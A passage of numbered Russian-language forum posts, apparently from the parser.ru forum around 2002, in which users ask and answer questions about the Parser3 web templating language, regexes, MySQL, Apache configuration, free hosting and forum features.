^textarea.match[*\\n*][g]{</LI><LI>}\
^textarea.match[*\\n][g]{</LI></UL>}\
[/code]\
\
или какой-нить другой символ вместо звездочки... :)\
\
так пойдет?"
"8680","\
последний матч такой:\
\
[code]\
^textarea.match[*\\n\\n][g]{</LI></UL>}\
[/code]"
"8681","отсутствием в текст-ареа тегов <ul><li />?"
"8682","Как реализовать выбор рабочего каталога в зависимости от пользователя прошедшего авторизацию? То есть на странице окно для ввода логин/пароль, если вводим пользователь \"кретин\" попадём на kretin/index.html, цель отсутсвие у пользователя мысли войти туда куда его почему-то не пускают.\
PS Дериктивы .htaccess'а не позволяют указать рабочий каталог."
"8683","Одно дело вводить каждый раз тэги другое -- одиночные символы\
\
например список из трех вещей:\
\
В ХТМЛ:\
\
[code]\
<UL>\
<LI>Item 1</LI>\
<LI>Item 2</LI>\
<LI>Item 3</LI>\
</UL>\
[/code]\
\
36 символов -- если тэги вводить \
\
то же самое, но с одиночным символом:\
\
[code]\
*Item 1*\
*Item 2*\
*Item 3*\
[/code]\
\
9 символов\
\
возьми калькулятор и посчитай, сколько ты сэкономишь...\
\
PS: а если многоуровневый список надо, то можно сделать так:\
\
[code]\
*Item 1*\
*Item 1*\
# начало второго уровня\
**Item 1*\
*Item 1*\
*Item 1**\
# конец второго уровня\
*Item 1*\
[/code]\
\
и добавить в код\
\
[code]\
^textarea.match[*\\n**][g]{</LI></UL>}\
^textarea.match[**\\n*][g]{</UL><LI>}\
[/code]\
\
...?\
\
PPS: ладно, мне из Нета вылазить надо... пишите письма"
"8685","[code]\
^if(def $env:REMOTE_USER){\
    $response:location[$env:REMOTE_USER/index.html]\
}\
[/code]"
"8686","Вот опять я со своим шаманством :-) На этот раз про базу данных.\
\
Дано:\
1) сервер mysql, база, таблица с ключом, формируемых через auto_increment (реальная структура не имеет значения);\
2) клиент - парсер (два варинта: cgi и модульный);\
3) программа (точнее, скрипт) на parser примерно со следующим алгоритмом:\
3.1) добавить запись в таблицу (insert into таблица).\
3.2) получить ключ записи (select last_insert_id()).\
3.3) дальнейшее использование ключа в своих целях.\
\
Проблема: при добавлении из нескольких потоков.\
\
CGI версия: все нормально. Один запрос - одно соединение. Last_insert_id возвращает номер в рамках соединения. То есть почти последовательная работа. Проблем нет.\
\
Модульная версия. Все запросы - одно соединение. Возмем два потока выполнения запросов: наблюдаемый и побочный. Наблюдаемый поток выполняет insert. Потом за счет параллельности побочный поток выпоолняет свой insert. Затем наблюдаемый поток получает last_insert_id, который, очевидно, уже неверен (он берется из последнего insert'а, то есть от побочного потока).\
\
Примечание: использование get_lock/release_lock бесполезно. Они тоже работают в рамках одного соединения. Очередной get_lock автоматически освобождает все предыдещие локи текущего соединения. То есть ручные локи не помогут.\
\
Вопрос: как обеспечить получение сгенерированного ключа для нужного insert-запроса в модульной версии parser'а при работе с mysql?"
"8687","Я пользуюсь бесплатным хостингом Hut.ru. Можно ли на нем установить Parser и если можно то как?"
"8688","Есть такой код:\
\
^if(def $form:email){\
$find[$form:email]\
^if(^find.match[\\w@\\w.\\w]){\
<center>все ОК</center>\
}{\
<center>Неверный формат e-mail</center>\
}\
}\
\
Нужно чтобы он проверял корректность e-mail. т.е. вначале должно быть \"любое лово\", потом \"@\", потом \"любое слово\", \".\" и снова \"любое слово\". В этом коде (как я понял) точка понимается как любой символ.\
Как нужно написАть?"
"8689","Вроде так: [\\w@\\w\\.\\w]\
\
[quote]\
 .    символьный класс, содержащий все символы. Этот метасимвол, совпадает с любым символом кроме символа новой строки по умолчанию. \
[/quote]\
и\
[quote]\
Использование метасимвола \"\\\".\
\
Обратный слеш имеет несколько вариантов использования. В случае если вслед за ним следует символ, не обозначающий букву алфавита, обратный слеш выполняет функцию экранирования и отменяет специальное значение, которое может иметь этот символ. Такое использование этого метасимвола возможно как внутри символьного класса, так и вне его. В качестве примера, если необходимо найти символ \"*\", то используется следующая запись в шаблоне \"\\*\". В случае необходимости экранировать сам символ \"\\\" используется запись \"\\\\\".\
[/quote]\
\
Документация. Приложение 4. Perl-совместимые регулярные выражения: http://parser.ru/docs/lang/app4.htm"
"8691","REMOTE_USER - пустой! ..."
"8693","ftp://ftp.isi.edu/in-notes/rfc822.txt"
"8694","Неужели нет в том своебразном языке соответствующих терминов, гармонично вплетающихся в ткань данного сайта?"
"8696","было\
[code]\
^if(def $wth){$w[ WIDTH=$wth]}{}\
[/code]\
у if можно else не писать, стало\
[code]\
^if(def $wth){$w[ WIDTH=$wth]}{}\
[/code]\
если нужен часто, можно сделать себе ifdef, и пользоваться им. если пользоваться, станет:\
[code]\
^ifdef($wth){$w[ WIDTH=$wth]}\
^ifdef(…){…}\
[/code]\
определить можно так:\
[code]\
@ifdef[condition;yes;no]\
^if(def $condition){$yes;$no}\
[/code]\
"
"8697","Гляделка у меня Нетшкаф 7.0 . В статистике есть только 5.0, 6.0 .\
Или я попал в Отхер О.О ?"
"8698","у прошедших авторизацию: не пустой."
"8699","Звиняюсь , Нетшкаф 4.0 , 5.0 .  Кодерам форума . А слабо добавить  возможность редактирования опостившегося сообщения при отсутствии на него ответов с пометкой \"Исправленому верить\"."
"8700","nolar, double-проверьте.\
разумеется, такая ситуация продумана:\
\
алгоритм parser работы с connections pool:\
\
первый поток: ^connect{ соединяемся с базой, соединение A\
второй поток: ^connect{ соединяемся с базой, соединение Б\
первый поток: делаем действия по соединению А\
второй поток: делаем действия по соединению Б\
первый поток: } соединение А кладётся в pool\
…и только [b]после[/b] этого возможно…\
[b]третий[/b] поток: ^connect{ — соединение А берётся из pool\
…"
"8701","Как прочитать данные из таблицы [НЕ МЕНЯЯ ТЕГИ НА &lt; и &gt;]?\
Пожалуйста подскажите."
"8702","А слабо добавить возможность редактирования опостившегося сообщения с последующей пометкой \"Исправленному верить\" при отсутствии на него ответов? "
"8704","Ура! Ура! Ура!\
Вы спасли мою алгоритмическую душу от томительных многопоточных терзаний :-)\
Спасибо! :-)\
\
А вот насчет double я не понял :-/\
Это был юмор или сарказм? :-/"
"8707","я вынес из письма идею, что в версии с модулем «есть проблемы», в противоположность утверждению что «в CGI версии проблем нет».\
\
и предложил проверить дважды [double-check], поскольку если они есть, то не там, где вы описывали.\
\
рад что их, на самом деле, нет."
"8708","на эти и подобные вопросы есть алгоритмической ответ:\
\
1. откройте алгоритмические исходники\
2. прочтите ответ на алгоритмический вопрос"
"8709","Разумеется, исходный код я не читал. Я экспериментально находил проблемы. Чтение чужого исходного кода - это стресс, который я не в состоянии выдержать в настоящее время :-)\
\
Ладно, то уже \"оффтопик\", как говорится. Наверняка, явлюсь сюда я еще не раз с какой-нибудь другой проблемой. Ждите... :-)"
"8710","вы не «экспериментально находили проблемы», вы их выдумали, и морочили голову."
"8715","Прошерстил форум на эту тему, но все равно не работает, как мне надо. \
Парсер обрабатывает стр. с расширением 'html'. При обращении к несуществующей странице '*.html' получаем 'unable to print ...' Если запрашиваем *htm, или *.php или ещё чего - имеем стандартную 404 страницу.\
В конфиге сервера все, как надо [b]ErrorDocument 404 /404.html[/b].\
Некоторые советуют использовать mod_rewrite\
\
[code]\
RewriteCond   %{REQUEST_FILENAME} !-d\
RewriteCond   %{REQUEST_FILENAME} !-f\
RewriteRule   .*       /404.html	[L][/code]\
\
И это работает, но тогда перестают работать другие правила, напр.\
\
[code]RewriteRule    ^dir1/dir2.*  otherdir/page.html	[R][/code]\
\
Есть ли решение?"
"8718","Включите, пжалуста , в код форума возможность показа наличия присутствия тела сообщения на этапе формирования списка ветвей тем обсуждения. Ведь большинство пишет сообщения ,размер которых позволяет размещать их в строке заголовка. А каждый раз заглядывать во внутрь и получать \"[i]Это сообщение без текста.[/i]\" - это что получить 404 ошибку (ИМХО). К тому-же, инет  в моём Мухосранске далек от нормальных скоростей и ожидание выливается в длительный процесс. Надеюсь на Ваше понимание и умение.  "
"8722","Последние версии p2 если не находят запрашиваемый .html, должен печатать /404.html\
Если он этого не делает, значит или нет /404.html или в этом /404.html что-то не так... Или версия ниже sp6"
"8723","У egr`a - http://www.egoroff.spb.ru/apache/misc/rewriteguide.html\
и еще: http://www.egoroff.spb.ru/portfolio/11.html - вот на этом я наколося крупно\
\
ну и www.apache.org"
"8724","Постящийся (не путать с соблюдающими пост) имеет право на ошибку, неважно - при субмите или постинге. Не всегда ошибка связана с невнимательным или недостаточным пониманием прочитанного. Она может быть связана с другими факторами. А поэтому, должна быть возможность её исправить."
"8727","Не как не могу заставить Parser работать. Вроде все делал по инструкции, но все равно ничего не получается. Происходит ошибка 500 или просто показывается код html файла. Что делать???"
"8728","я попробовал однако и с документом, заведомо несоответствующем некоему DTD ошибок нету."
"8729","поиск дал http://parser.ru/forum/?id=6470 "
"8730","Чел который это дело мутил, на запросы не отвечает, хоть и обещал фиксить баги в срочном порядке...\
\
Какую версию парсера надо качать если у хостера\
Linux c модифицированным ядром 2.2.20.\
В качестве штатных программных средств предоставляются:\
\
Http-сервер Apache1.3.17rusPL30.3 (1.3.14rusPL30.0, 1.3.19) \
СУБД MySQL 3.23.42 (3.23.36, 3.23.39) \
СУБД PostgresSQL 7.1.1 \
Perl 5.6.0 + стандартные модули + модули по желанию пользователя \
PHP 4.1.2 (3.0.18, 4.0.4, 4.0.4pl1, 4.0.5, 4.0.6, 4.2.1) \
C/C++ (GCC 2.95.3) \
Berkeley db 3.2.9, gdbm 1.8.0 \
Bash 2.05 \
Gd 1.8.4, 1.3\
\
Мой сайт работает в связке П2 MySQL"
"8732","С самой старшей датой и упоминаниями в названии sp6 и mysql"
"8739","1.Podrobno rasskazat, chto, kak i kuda stavil(v smisle - kak ti Parser ustanavlival.)\
2.Kakoy OS i kakim serverom polzuyeshsya.\
3.Primer koda, na kotoriy rugaetsa Parser.\
4.Telo vidavaemoy oshibki.\
\
i vse eto delo kladesh syuda, na forum, ili komu libo na milo(mozhno mne).\
A potom vidno budet - chto u tebya i kuda. A s takim voprosom - sam vidish - tebya zakidali... Nado konkretno i po suschestvu...Sechesh?!..:)))))"
"8740","Пришлось посылать [code]^header[Status;404 Not Found][/code]"
"8746","Если кто-то что-то сказал, то это его слова и нефиг от них отказываться.\
\
Если речь о грамматической ошибке - её скорее всего никто не заметит.\
\
Если речь о технической ошибке - никто не мешает добавить в тот-же тред сообщение с поправкой."
"8747","+ когда я пишу сообщение я побыстрее хочу нажать \"отправить\".\
\
= проблемма-с :)\
\
если я только опубликовал сообщение, читаю его, и вижу явные орфоргафические ошибки/опечатки (в моих мессагах вы можете их видеть во множественном числе) - то в принципе неплохо, если я могу зайти и исправить их.\
\
и, естественно, я ни в коем случае не буду позволять апдейтить сообщение, на которое уже ответили...\
"
"8748","А надо - не только на которое уже ответили, но и на которое открыли окно ответа. В таком случае поддерживаю идею об исправлении полностью."
"8752","На сервере есть некоторая структура каталогов, сайт обрабатывается парсером. Не подскажете, есть ли возможность сделать так, чтобы в одном из подкаталогов html-файлы не обрабатывались парсером, а выдавались просто как \"плоские\" странички?\
\
Заранее спасибо!"
"8754","привожу код Мишиного is_email:\
\
[code]\
#################################################################################################\
# макрос проверяет, является-ли введенная строка валидным адресом электронной почты\
@is_email[email]\
$result(^if(def $email && ^email.match[^^\\w+([.-]?\\w+)+\\@\\w+([.-]?\\w+)*\\.[a-z]{2,4}^$][i]){1}{0})\
#end @is_email[]\
[/code]"
"8755","Как на мой взляд, добрая треть форума посвящена проблемам, связанным с установкой Парсер под ту или иную ОС, ХТТП сервер.\
Это справедливо,а может быть и нет, вызывает нервозность некоторых \"сторожилов\" форума. Ведь не каждый может работать воспитателем в детском саду, объясняя одно и тоже каждому из 30(у моего сына в группе такое количество) детей. Но ведь от того, насколько велико будет желание помочь делающим свои первые робкие шаги в долгом процессе познания того или иного явления, продукта и т.д., настолько будет велико желание новичкам постигать непостигнутое.\
Считаю, что не всё опубликованное по проблемам установки нужно тащить в ЧаВО. Поэтому предлагаю -  организовать отдельный раздел, посвященный поднятой проблеме, где бы можно(а вовсе не обязательно) было бы получить ответ без \"ворчания\". Надеюсь, это поможет продвижению данной технологии в массы.    \
"
"8757","давайте будем дружелюбнее к начинающим, и, кто сам недавно подсел, пусть поможет соседу.\
\
в планах: наш собственный дистрибутив под win32, который позволит снять часть вопросов."
"8758","где-нить сбоку, о том чтобы всегда подробно описывали что делали, вплоть до мелочей, прежде чем задавали вопрос, а то слова делал все по инструкции не очень информативны и не позволяют сразу войти в суть проблемы, а переспрашивание означает потерю времени, чего делать совсем не хочется."
"8759","есть сайт, на всех страницах есть линк на страницу с формой(он одна).\
на паге с формой - заполняет и нажимает сабмит, после этого его надо вернуть обратно на ту пагу откуда он зашел.\
не могу - после сабмита меняется HTTP_REFERER.\
как обойти?"
"8760","При генерации формы сделать в ней hidden-поле, в который записать реферер ... после сабмита считать через $form:name ..."
"8762","а толку? я про заголовки только написал, и тут же \"хелп плис\" свалился."
"8763","Составить список слов-паразитов для subj, выкусить их, если subj стал пустой - выводим алерт и страшно ругаемся, что-ж мол ты, редиска-нехороший человек так поступаешь? :)))"
"8764","а ничего и не придумаешь, не нужно грустить, это лучшее.\
имей в виду, что он может и не придти.\
\
а извращаться всегда можно, вот только надо ли?\
можно в ссылке на страницу с формой передать ?referer=$request:uri явно, а в <form> не указывать action вообще. будет та же идея, но без надежды на browser."
"8765","сначала нужно предупредить, чтобы не было обид, а если не поймут, тыкать каждый раз в это предупреждение на видном месте и страшно ругаться, ломать мебель, компьютеры и пр."
"8767","оно возможно только если на них еще нету ответов.\
если исправлялось - показывается дата/время добавления и изменения.\
\
вроде все."
"8768","Я пытаюсь установить Парсер 3 на виртуальный сайт. На сервере ОС FreeBSD 4.7. Я скачал с www.parser.ru комплект установочный для FreeBSD, скопировал эти файлы в подкаталог cgi-bin. В корневой каталог бросил файл .htaccess следующего содержания:\
----------------\
AddType parsed-html .htm\
Action parsed-html /cgi-bin/parser3.cgi\
\
<Files ~ \"\\.cfg$\">\
Order allow,deny\
Deny from all\
</Files>\
\
CharsetRecodeMultipartForms Off\
----------------\
\
Более того, я менял AddType на AddHandler. А также пробовал убирать CharsetRecodeMultipartForms Off. \
\
Выдается ошибка 500 (Internal Server Error. The server encountered an internal error or misconfiguration and was unable to complete your request.)\
\
Почему не работает?\
"
"8769","а надо binary\
\
ЗЫ Сначала я думал что у меня помутнение рассудка - Миша задает такие вопросы, но оказывается это другой Миша :)"
"8772","Кстати, в моём любимом CuteFTP в настройках типов файлов, к которым применяется режим ASCII , по умолчанию включен \"cgi\". И если в глобальных настойках для режима пересылки стоит \"AUTO\", то эффект \"Internal Error\" Вам обеспечен."
"8773"," выдается ошибка следующего содержания:\
Unhandled Exception (Debug)\
z:/home/parsertest/www/index.html (3:1):parse error, expecting `$'\
exception.type=parser.compile\
\
\
я наверно уже совсем отупел старый, поэтому прошу мне обьяснить\
подробно :-)\
--------------------файл auto.p-----------------------------------\
#################################################################################################\
@main[]\
\
^header[]\
\
^body[]\
\
^footer[]\
#################################################################################################\
@navigation[]\
\
$sections[^table::load[/sections.cfg]]\
\
<table width=\"100%\" border=\"0\" bgcolor=\"#000000\" cellspacing=\"1\">\
\
         <tr bgcolor=\"#FFFFFF\">\
\
         ^sections.menu{\
\
                 ^navigation_cell[]\
\
 }\
\
         </tr>\
\
 </table>\
\
 <br>\
#################################################################################################\
@navigation_cell[]\
\
$cell_width[^eval(100\\$sections)%]\
\
^if($sections.uri eq $request:uri){\
\
         <td width=\"cell_width\" align=\"middle\" bgcolor=\"#A2D0F2\">\
\
         <nobr>$sections.name</nobr>\
\
         </td>\
\
}{\
\
         <td width=\"$cell_width\" align=\"middle\">\
\
         <a href=\"$sections.uri\"><nobr>$sections.name</nobr></a>\
\
         </td>\
\
 }\
#################################################################################################\
@footer[]\
\
 <table width=\"100%\" border=\"0\" bgcolor=\"#000000\" cellspacing=\"0\">\
\
         <tr>\
\
         <td></td>\
\
         </tr>\
\
</table>\
\
$now[^date::now[]]\
\
<font size=\"-3\">\
\
<center>Powered by Parser3<br>1997-$now.year</center>\
\
</font>\
\
</body>\
\
</html>\
#################################################################################################\
@header[]\
\
<html>\
<head>\
\
<title>Тестовый сайт Parser3</title>\
\
</head>\
\
<body bgcolor=\"#FAEBD7\">\
\
<table width=\"100%\" border=\"0\" bgcolor=\"#000000\" cellspacing=\"1\">\
\
         <tr bgcolor=\"#FFFFFF\" height=\"60\">\
\
                 <td align=\"middle\">\
\
                         <font size=\"+2\"><b>^greeting[]</b></font>\
\
                 </td>\
\
         </tr>\
\
 </table>\
\
 <br>\
 #################################################################################################\
 @body[]\
\
 ^navigation[]\
\
 <table width=\"100%\" height=\"65%\" border=\"0\" bgcolor=\"#000000\" cellspacing=\"1\">\
\
         <tr bgcolor=\"#FFFFFF\" height=\"100%\">\
\
                 <td width=\"30%\" valign=\"top\" bgcolor=\"#EFEFEF\">\
\
                 <b>^body_additional[]</b>\
\
                 </td>\
\
                 <td width=\"70%\" valign=\"top\">\
                        ^body_main[]\
                </td>\
        </tr>\
\
</table>\
\
</br>\
#################################################################################################\
 @unhandled_exception[exception;stack]\
\
 $response:content-type[\
\
         $.value[text/html]\
\
         $.charset[$response:charset]\
 ]\
\
 <title>UNHANDLED EXCEPTION (root) </title>\
\
 <body bgcolor=\"white\">\
\
 <font color=\"black\">\
\
 <pre>^untaint[html]{$exception.comment}</pre>\
\
 ^if(def $exception.sourse){\
\
         <b>$exception.sourse</b><br>\
\
         <pre>^untaint[html]{$exception.file^($exception.lineno^)}</pre>\
 }\
\
 ^if(def $exception.type){exception.type=$exception.type}\
\
 ^if($stack){\
\
         <hr>\
\
         ^stack.menu{\
\
                 <tt>$stack.name</tt> $stack.file^($stack.lineno^)<br>\
\
         }\
 }\
#################################################################################################\
--------------------файл index.html-----------------------------------\
<!DOCTYPE HTML PUBLIC \"-//W3C//DTD HTML 4.0 FINAL//RU\">\
\
@greeting[]\
Добро пожаловать\
\
@body_additional[]\
Главная страница сайта\
\
@body_main[]\
Основное содержание\
--------------------файл index.html-------------------------------\
<!DOCTYPE HTML PUBLIC \"-//W3C//DTD HTML 4.0 FINAL//RU\">\
\
@greeting[]\
Добро пожаловать\
\
@body_additional[]\
Главная страница сайта\
\
 @body_main[]\
 Основное содержание\
\
 Где я что не правильно делаю?\
                     mailto:posisaev@mail.ru"
"8775","через sendmail(у меня postfix) хочу кидать на n адресов автоматом мыло, трабл в том что мне надо это делать в 7.30 и в 20.00.\
можно обойтись только парсером или обязательно какой-то софт юзать(если что у меня хост на Линуксе)?"
"8777","http://parser.ru/forum/?id=8643\
\
и подумать над сказаным..."
"8778","про кронтабы знаю, сам так курсы беру"
"8779","Парсер не висит всё время в памяти, а cron именно для этого и предназначен."
"8780","Что имеем:\
\"Мой сайт (http://www.kubanfisher.pp.ru/) крутится на хостинге http://wp-club.net/\"\
  \
Что получаем:\
\"Во время доставки URL\
http://wp-club.net/ \
Произошла следующая ошибка: \
Невозможно определить IP адрес узла wp-club.net\"\
 \
Или это только у меня?"
"8782","В документации объясняется зачем нужен Парсер тем, кто знает лишь HTML, многое из того, что написано во \"Введении\" можно отнести и к другим языкам. \
\
Думаю, стоит проанализировать достоинства Парсера по сравнению с другими серверными языками и оформить в документации или ФАКе. \
\
Вот кое-какие наброски на эту тему:\
\
1. Синтксис\
Не С-подобный. Тем не менее, если построить БНФ Парсера, она будет содержать меньшее кол-во правил, чем для других языков. Это означает, что синтаксис максимально свободен: практически любая управляющая структура, выражение или HTML-код могут содержаться в внутри другой структуры.\
\
2. Объектная модель.\
Небольшое кол-во системных классов. \
Легко запоминаемая.\
Логичное разбиение на классы.\
\
3. Блоки кода и HTML-я явно не отделены, как в других языках, \
При написании кода или внесении модификаций не требуется помнить находимся ли мы внутри блока кода или нит.\
\
Вывод значения переменной:\
Parser: $a \
ASP, JSP: <%= a %>\
PHP: <? echo $a ?>\
\
Добавить в код условие:\
Parser: ^if(a==b){...}\
Др. языки: if(a==b){...} или <% if(a==b){...} %>"
"8783","[code]\
<% If a = b Then %>\
...\
<% Else %>\
...\
<% End If %>\
[/code]"
"8784","ASP = VBScript || JScript \
Потому оба варианта правильны.\
\
Но не стоит уходить в оффтоп."
"8785","Во-первых ASP = VBScript || JScript || что_угодно. К примеру ASP = VBScript || JScript || Perl.\
\
Во-вторых тогда уж надо бы\
[code]\
<% if(a==b) { %>\
<% } %>\
[/code]\
Другими словами, в парсере if менее громоздкий, как ни крути."
"8786","Рядом с сообщением, на которое уже ответили красная рамка без кнопки \"Изменить...\". А разве она вместе с кнопкой исчезать не должна? Или, имхо, тогда уж надо красную рамку с кнопкой \"Изменить\", но disabled."
"8788","Как и было присоветовано, определил оператор\
\
[code]\
@ifdef[condition;yes;no]\
^if(def $condition){$yes}{$no}\
[/code]\
\
в том же .p-файле функция, заменяющая тэг TD+параметры:\
\
[code]\
@td[wth;ht;bgcol;class;aln;vln;cols;rows][w;h;bc;cl;a;v;cs;rs]\
^ifdef[$wth;$w[ WIDTH=$wth]]\
^ifdef[$ht;$h[ HEIGHT=$ht]]\
^ifdef[$bgcol;$bc[ BGCOLOR=$bgcol]]\
^ifdef[$class;$cl[ CLASS=$class]]\
^ifdef[$aln;$a[ ALIGN=$aln]]\
^ifdef[$vln;$v[ VALIGN=$vln]]\
^ifdef[$cols;$cs[ COLSPAN=$cols]]\
^ifdef[$rows;$rs[ ROWSPAN=$rows]]\
<TD${w}${h}${bc}${cl}${a}${v}${cs}${rs}>\
[/code]\
\
в результате, при выставлении в документе вызовов типа\
\
[code]\
^td[;100;;;left;top;3]\
[/code]\
\
получаю в ХТМЛ такой тэг (и примерно то же самое по всему документу):\
\
[code]\
<TD WIDTH= HEIGHT=100 BGCOLOR= CLASS= ALIGN=left VALIGN=top COLSPAN=3 ROWSPAN=>\
[/code]\
\
в результате весь документ похЕрен... все стили и цвета -- абсолютно другие...\
\
В то же время, при коде без ifdef:\
\
[code]\
@td[wth;ht;bgcol;class;aln;vln;cols;rows][w;h;bc;cl;a;v;cs;rs]\
^if(def $wth){$w[ WIDTH=$wth]}{}\
^if(def $ht){$h[ HEIGHT=$ht]}{}\
^if(def $bgcol){$bc[ BGCOLOR=$bgcol]}{}\
^if(def $class){$cl[ CLASS=$class]}{}\
^if(def $aln){$a[ ALIGN=$aln]}{}\
^if(def $vln){$v[ VALIGN=$vln]}{}\
^if(def $cols){$cs[ COLSPAN=$cols]}{}\
^if(def $rows){$rs[ ROWSPAN=$rows]}{}\
<TD${w}${h}${bc}${cl}${a}${v}${cs}${rs}>\
[/code]\
\
все работает нормально...\
\
Где тут ошибка?\
\
PS:\
1. пытался прописать по всем ifdef'ам вариант NO как $var[]\
2. пытался прописать ВСЕ переменные как локальные\
3. пытался уменьшить количество переменных за счет конструкций типа\
\
[code]\
^ifdef[$var;$var[ PARAMETER=$var]]\
[/code]\
\
все хуже и хуже...\
\
HEEEEEEEEEEEEEEEEEEEEEEELP!!!! :)"
"8789","[code]\
# старый добрый ifdef\
@ifdef[val;deflt;undef][v]\
$v[$val]\
$result[^if(def $v){$deflt}{$undef}]\
#end @ifdef[]\
[/code]\
\
Подозреваю, что Миша не зря промежуточную переменную заводит."
"8790","(чисто для примера): допустим есть некая таблица в ней колонки: id, data, news.\
Через форму передается только news и id, дата - нет...\
Когда пишешь\
^void:sql{replace news\
         (id, news)\
      values\
         ('$form:id', '$form:news')\
         }\
Id и news заменяются новыми... и data тоже заменяется новой - пустой...\
Как заменить id и news не трогая дату?\
надеюсь, понятно объяснил :)"
"8791","^void:sql{UPDATE news SET id='$form:id', news='$form:news' WHERE твоё условие)}\
"
"8792","http://www.mysql.com/documentation/mysql/bychapter/manual_Reference.html#UPDATE"
"8794","касательно синтаксиса: где-то уже написано, что это макроязык, и что код погружен в окружающий текст [то же самое] этим сказано много.\
\
но пример с выводом переменной и if [с уточнениями] хороший, думаю, добавим."
"8795","[code]\
#как надо вызывать\
^ifdef[что проверить на непустоту]{когда да}\
[/code]\
обратите внимание на фигурые скобки вокруг {когда да}"
"8796","никто не заметил, как дополнительное [b]неизвестное[/b] количество параметров передаётся вот ^image.html[сюда]?\
\
или вот ^table::sql{…}[сюда]?\
\
правильно, туда передаётся hash. поскольку было бы глупо разводить десятки параметров.\
\
данный случай не буду рассматривать в качестве примера, поскольку полагаю его совершенно неправильным. наезды отдельной статьёй.\
"
"8797","вот этот код:\
[code]\
#никогда так не делайте\
^td[;100;;;left;top;3]\
[/code]\
считаю совершенно непонятным, а конструкцию, включающую в себя «;;;», абсолютно ужасной.\
\
причём этому методу ничего не поможет, поскольку… сюрприз: он совершенно не нужен. не нужно такие методы создавать, запись\
[code]\
<td valign=\"top\">\
   …\
</td>\
[/code]\
куда более ясна, чем \
[code]\
^td[;;;;;top]\
   …\
</td>\
[/code]\
и не нужно изобретать других сущностей — способов сказать то же самое."
"8798","Parser выдает ошибку не найден libglib-1.3-11.dll\
Что делать ?"
"8800","сервер - Linux\
софтинка для посылки - postfix\
в заголовке при указании KOI8 письмо приходит в win,\
при указании windows-1251 тело пиходит в win, а \"тема\" в KOI\
как лечить?\
"
"8803","Есть ли (можно ли сделать) современная версия парсера под FreeBSD 4.4 без установленной группы, от которой исполняется CGI?\
На valuehost не работает \"правильная\", а настройки имеющейся старой версии (с нсколькими конфигами) слишком сложны (не работают) под этим хостером.\
(Итак, нужно: /freebsd/parser3_3_0_0005_freebsd46R_cgi_xml.tar.gz\
CGI, XML, FreeBSD4.4 БЕЗ группы)."
"8804","Sorry za translit - pisAt mnogo, tikat v klavu ustanu.\
\
Uzhe 3-iy den byus s h1.ru - ne mogu ustanovit tuda ya \"nash\" Parser! Tam stoit FreeBSD, kinul ya vse sootvetstvenno. Zapuskayu s adresnoy stroki crimnet.h1.ru/cgi-bin/parser3.cgi - nichego krome ihnego bannera tam net(a dolzhno bit chto-to tipa Parser/3.0.HEAD). Pishu v .htaccess bla-bla-bla - vse OK - 500 error. Propisivayu\
\
AddHandler parsed-html html\
Action parsed-html /cgi-bin/parser3.cgi\
\
tozhe samoe - 500 error. Do etogo(i seychas) tam stoyal site na PHP. i .htaccess rabotal bez problem. Znachit problemi ne v .htaccess. Ne hochet server propisivat Parser(pochemu-to). Nado budet serverniye logi prosmotret, no ya ne mogu ih nayti - seychas s etim kak raz i vozhus. Vot. Kto znaet - gde tut grabli - mozhet mne pomoch..:))))\
\
Spasibo za vashe terpeniye - ne kazhdiy mozhet prochest stolko translita...:))))"
"8808","почитайте внимательнее про $.charset[]\
а не про $content-type[... $.charset[]], который тут не при чём — он лишь присылается клиенту, чтобы тому объяснить, что ему прислали."
"8811","Это отстойный хостинг. Даже если заставиш там работать Parser - что вероятно, то он стабильно как многие мне говорили будет глючить. Нужен хороший в кавычках, но бесплатный хостинг, то воспользуйся http://hoha.ru/"
"8813","Хостинг сейчас не работает с пятницы :( ниже письмо которое получил от службы поддержки:\
Уважаемы клиент !\
\
По независящим от нас причинам вчера вечером 25.10.2002 была внезапно\
потеряна связь с нашим сервером.\
Только сегодня мы получили информацию от нашего провайдера о причинах\
прекращения доступа к серверам.\
Американская сеть Cogent без предварительного предупреждения отказала\
в оказании услуг нашему провайдеру.\
В настоящее время ведутся срочные работы по переключению всех серверов\
нашей сети к новому поставщику услуг.\
В ближайшее время связь с Вашими сайтами будет восстановлена,\
информация на сайтах не теряется.\
\
Прошу с пониманием отнестить к возникшей проблеме, она носит характер\
форс-мажорной и никаким образом не должна повлиять на наш имидж и\
уровень предоставляемого нами сервиса.\
Надеемся, что Вы останетесь с нами.\
\
Извините за временные неудобства.\
\
Так что вот так вот, сам уже в ярости. Когда заработает скажу."
"8815","Да Агат, хочу сказать, - может стоит закончить терять время и силы на замороки с бесплатными хостингами? силы и время могут пригодиться для других целей."
"8817","Ya ponimayu, chto, mozhet, i zanimayus herney vsyakoy. No nashe delo trebuet praktiki, praktiki, i esche raz etogo zhe. Poetomu - tyazhelo v uchebe - legko v boyu!\
\
P.S. i esche hochu pohvastat...net...poka eshe rano...dnya cherez 2...mozhet bit..."
"8818","Он постоянно висел и глючил...\
Потом там постоянные баги, не знаю. как это и называется, но с путями... при просмотре например каталога \
\\test\\ - вижу одно\
\\test\\index.html - вижу другое, что залил уже например давно и уже этого нет.....\
\
Вообщем лично мне - он не понравился, хотя начинал с него и под конец вывел меня из себя:)))"
"8819","... хостинг я тебе дам, бесплатный :) с mySQl'ем, а сайт то большой?\
А Х1 реально анюзабл. Но, конечно из любви к исскуству... Прикольно там Парсер прописать, не смотря ни на что :)))"
"8820","а что же с I?)) Может покажут?"
"8821","[Wed Oct 30 13:40:02 2002] [error] [client 195.161.118.15] File does not exist:\
/home/cgi-bin/parser3.cgi/c/crimnet.h1.ru/WWW/_test.html\
\
ento che - on ne nahodit etogo fayla!? No ved on tam est!!! Vot vam zub!!! Che et za error takoy!!??"
"8822","Site seychas na 653 KB. Nu, s \"pro zapas\"om gde-to 1MB hvatit. A vot baza mozhet razrastis metrov na 5-10. \
\
P.S. A na h1.ru ya Parser postavlyu chisto iz printsipa...:)))"
"8823","У них Document_Root в небо указывает ;-)\
RTFM + STFF..."
"8824","nu..v .htaccess tam, ili v auto.p...nu ili gde tam oni opredelyayutsa..."
"8825","7777@land.ru\
ICQ 82925125\
\
"
"8826","> использованием XML и XSL для представления данных и шаблонов\
\
> универсальным контейнером данных — не только документов, но и шаблонов представления данных\
\
> реализован модуль древовидного, многоуровневого утверждения предназначенных для публикации документов\
\
> кэширование на уровне веб-серверов (кэширование страниц, шаблонов представления, данных) \
\
Я чего-то путаю, или перечисленное я видел полгода назад? ;-)\
"
"8827","Я не пытаюсь слиться с астралом, просто мне так действительно удобнее, и, потом, мне нужен навык работы с пользовательскими классами (раньше я их создавал без передачи значений).\
Короче, можете считать это бзиком...\
\
Проблема не в этом -- я не пойму, почему через\
